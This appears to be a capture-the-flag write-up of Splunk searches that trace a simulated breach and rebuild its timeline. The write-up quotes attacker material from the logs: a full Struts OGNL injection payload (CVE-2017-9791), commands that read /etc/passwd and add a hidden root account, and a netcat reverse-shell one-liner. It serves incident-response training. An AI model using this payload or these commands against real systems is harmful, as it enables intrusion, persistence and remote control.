Use a table, in chronological order, of the users and commands.

sourcetype="osquery:results" tomcat8 columns.cmdline=*
| table _time decorations.username columns.cmdline
| reverse

At 11:34:49 tomcat8 runs ./colonelnew, and the next event, at 11:48:38, root runs rm /usr/share/tomcat8/.bash_history. Checking the event, it seems that the location of the file is /tmp/colonelnew. Searching for the filename or location gives nothing; however, remembering Q315, there was also a file simply called colonel.


35 events. Looking through Sysmon, as it often has useful information (and only 4 dedup’d events), gives us:

/tmp/colonel* source="WinEventLog:Microsoft-Windows-Sysmon/Operational"
| dedup CommandLine
| reverse

So what happened?

  1. Use iexeplorer.exe to echo a string to /tmp/colonel
  2. Base64 decode the file to /tmp/colonel.c
  3. Cat and MD5sum the new file.

Base64 decode the string and you get the answer

  • Ubuntu 16.04.4 kernel priv esc

TIme = 11:08:36 & 11:10:55

Host = hoth

From Q330, we know how to find files uploaded to OneDrive by Taedonggang:

sourcetype="ms:o365:management" Operation="FileUploaded" UserAgent="*Naenara*"

This gives us the previously-found .lnk, as well as morebeer.jpg, stout.png, and stout-2.png. However, searching for these gives nothing.

Upload may include email, and we know a threat actor’s email:

sourcetype="stream:smtp" attach_filename{}=*

Here we find 1534778082419.png. Decoding that gives


No words there are much larger.

It’s possible the file will be base64 encoded, as email attachments in logs and malicious files often are. In fact, one of the answers from before was a base64 encoded file, and we haven’t even looked at it yet.





854 events, 606 are from source service for svchost.exe for Extensible Authentication Protocol, Remote Access Connection Manager, or Secure Socket Tunneling Protocol Service. Related to VPNs, but no useful info. Let’s try a few sources and sourcetypes:

vpn sourcetype="stream:http"

17 events, with http_user_agent for all of them being Cisco AnyConnect VPN Agent for Windows 4.6.01098. However, these events give us little other useful info.

vpn sourcetype="symantec:ep:packet:file"

124 events. 101 have a Host_Name of MKRAEUS-L ( and, 23 of PCERF-L (, connecting to The Application_Name for all is vpnagent.exe.

vpn source="cisconvmflowdata"
| table _time sa da liuidp ppn pn dh

40 events, featuring BudStoll (x25), MalloryKraeusen (x10), PeatCerf (x1) and unknown (x4). All connect to “”. Processes include vpnui.exe, vpndownloader.exe, and vpnagent.exe. Good info, but nothing on actual traffic generation.

However, there is another Cisco sourcetype - with >80k events:


This does have traffic data as bytes. There are 4 action values - blocked, teardown, allowed, and success. The only action with bytes is teardown - the others are presumably for making the connection → >20k events

sourcetype="cisco:asa" action="teardown"

Now the src_ip, of which there are 80.

sourcetype="cisco:asa" action="teardown"
| stats sum(bytes) as traffic by src_ip
| sort -traffic

The top IPs are,, then Search each individually to see what they are. The first looks to be Splunk , the second looks to be AWS, and the third looks to be MKRAEUS-L a.k.a Mallory Kraeusen. Check with the VPN traffic, as each event also notes the user in brackets.

sourcetype="cisco:asa" action="teardown" src_ip=""


Start with the event code (7427 events), then do some maths.

IQR is the 75th percentile minus the 25th percentile.

sourcetype="wineventlog" EventCode="4688"
| stats count by host
| eventstats perc25(count) as p25, perc75(count) as p75
| eval IQR=p75-p25
| eval UF=p75+1.5*IQR


From Q328, we know colonel.c was used for privesc by tomcat on hoth. Google the phrase “CVE Ubuntu 16.04.4 kernel priv esc” and we have the answer.


Again the Q328 search, the first command was "/bin/bash -c whoami" at 11:06:07, followed by several other commands. What happened just before this command, to allow the command to be run?

host="hoth" earliest="08/20/2018:11:05:08" latest="08/20/2018:11:06:08"

A lot - 554 events. Let’s add “whoami” in.

host="hoth" earliest="08/20/2018:11:05:08" latest="08/20/2018:11:06:08" whoami
| reverse

Now only 3 events! The latter two are the same as the original command; the first is a stream:http request to /frothlyinventory/integration/saveGangster.action. The form_data looks suspicious. Google “saveGangster.action” and we get our answer.



We saw iexeplorer.exe a few times in different questions, but what actually did it do?

iexeplorer.exe source="WinEventLog:Microsoft-Windows-Sysmon/Operational"
| table _time CommandLine
| reverse

# OR

iexeplorer.exe source="WinEventLog:Security"
| table _time Process_Command_Line
| reverse

It seems the malicious file is used for remote code execution via showcase.action - also CVE-2017-9791. In other words, it’s related to saveGangster.action. You can see the exact correlation:

(saveGangster.action OR iexeplorer.exe)
    AND ParentImage="C:\\Windows\\Temp\\unziped\\lsof-master\\iexeplorer.exe")
  OR source="stream:http")
| table _time CommandLine form_data
| reverse


"C:\windows\temp\unziped\lsof-master\iexeplorer.exe" whoami


"age=1&__checkbox_bustedBefore=true&name=${(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.close())}&description=1" (saveGangster.action form_data)

The list of RCEs using this method:

  1. whoami
  2. id
  3. groups
  4. “cat /etc/passwd”
  5. “useradd -ou 0 -g 0 -M -N -r -s /bin/bash tomcat7 -p”
  6. “uname -a”
  7. “lsb_release -a”
  8. “echo » /tmp/colonel”
  9. “echo » /tmp/”
  10. “ls -lf /tmp”
  11. “base64 –decode /tmp/colonel > /tmp/colonel.c”
  12. “cat /tmp/colonel.c”
  13. “md5sum /tmp/colonel.c”
  14. “mknod /tmp/backpipe p”
  15. “/bin/sh 0</tmp/backpipe | nc 8088 1>/tmp/backpipe”
  16. “mknod /tmp/backpipe p”
  17. “/bin/sh 0</tmp/backpipe | nc 8088 1>/tmp/backpipe”

In Notion/the PDF theses are colour-coded by category - links at the top of this page.

09:16:12: AKIAJOGCDXJ5NW5PXUPA/web_admin attempts to access IAM resources begin

09:16:12: AKIAJOGCDXJ5NW5PXUPA/web_admin attempts to create nullweb_admin

09:16:22: AKIAJOGCDXJ5NW5PXUPA/web_admin attempts to launch Xenial Xerus instance

09:16:55: Email stating AKIAJOGCDXJ5NW5PXUPA/web_admin was detected on GitHub

09:27:07: AKIAJOGCDXJ5NW5PXUPA/web_admin attempts to access IAM resources end

09:27:06: AKIAJOGCDXJ5NW5PXUPA/web_admin attempts to describe an account

09:55:14: Malicious attachment Frothly-Brewery-Financial-Planning-FY2019-Draft.xlsm

09:55:52: Sysmon detects HxTsr.exe from malicious attachment

09:56:39: Symantec detects HxTsr.exe from malicious attachment

09:57:17: stout.png, stout-2.png, morebeer.jpg uploaded to OneDrive

09:57:33: BRUCE BIRTHDAY HAPPY HOUR PICS.lnk uploaded to OneDrive

09:59:04: First time BRUCE BIRTHDAY HAPPY HOUR PICS.lnk was used

10:01:44: C2 server contacted

10:07:07: C2 server contacted

10:08:17: svcvnc Windows account created

10:08:17: svcvnc added to Administrators group

10:08:35: svcvnc added to Users group

10:11:02: C2 server contacted

10:15:28: C2 server contacted

10:43:10: hdoor.exe scans network

10:47:16: Attack tools logos.png downloaded from

10:48:28: Search for “cromdale OR beer OR financial OR secret”

11:05:40: First remote code execution using iexeplorer.exe (CVE-2017-9791)

11:08:36: colonel file streamed using iexeplorer.exe

11:08:48: file streamed using iexeplorer.exe

11:21:40: BCC rule to added

11:24:28: Kevin Lagerfield Azure AD account activated

11:24:54: tomcat7 Linux account created

11:28:30: Last time BRUCE BIRTHDAY HAPPY HOUR PICS.lnk was used

11:31:54: netcat listening on port 1337 starts

11:32:14: C2 server contacted

11:34:01: Last remote code execution using iexeplorer.exe (CVE-2017-9791)

11:34:49: tomcat8 runs ./colonelnew (priv esc to root, CVE-2017-16995)

11:41:36: Kevin Lagerfield Azure AD account password reset

11:42:51: Kevin Lagerfield Azure AD account password reset

11:43:22: Kevin Lagerfield Azure AD account password changed

11:48:38: root runs rm /usr/share/tomcat8/.bash_history

11:55:34: netcat listening on port 1337 ends

13:01:46: frothlywebcode S3 bucket made public

13:02:44: OPEN_BUCKET_PLEASE_FIX.txt uploaded to frothlywebcode

13:04:17: frothly_html_memcached.tar.gz uploaded to frothlywebcode

13:33:24: gacrux.i-0cc93bade2b3cba63 autoscaled

13:37:33: BSTOLL-L Coinhive DNS lookup

13:37:40: First BTUN-L JSCoinMiner detection

13:37:50: BSTOLL-L Chrome Monero mining begins

13:46:47: Last BTUN-L JSCoinMiner detection

13:57:54: frothlywebcode S3 bucket made private

14:05:23: BSTOLL-L Chrome Monero mining ends

14:23:19: gacrux.i-06fea586f3d3c8ce8 autoscaled

14:25:21: gacrux.i-09cbc261e84259b54 autoscaled

14:47:12: Azure AD disabled by

15:07:22: Brute force against web servers from starts

15:08:12: Brute force against web servers from ends

15:11:35: Memcached attack start

15:27:09: Memcached attack end

15:15:00: Email bragging about customer data exfiltration

  • Do initial recon on hosts, sources, and sourcetypes, to understand where you might find different types of data
  • FromBase64String can often provide good results, ditto common Linux strings e.g. whoami
  • Often searching key words/phrases will give you a lot more than you expect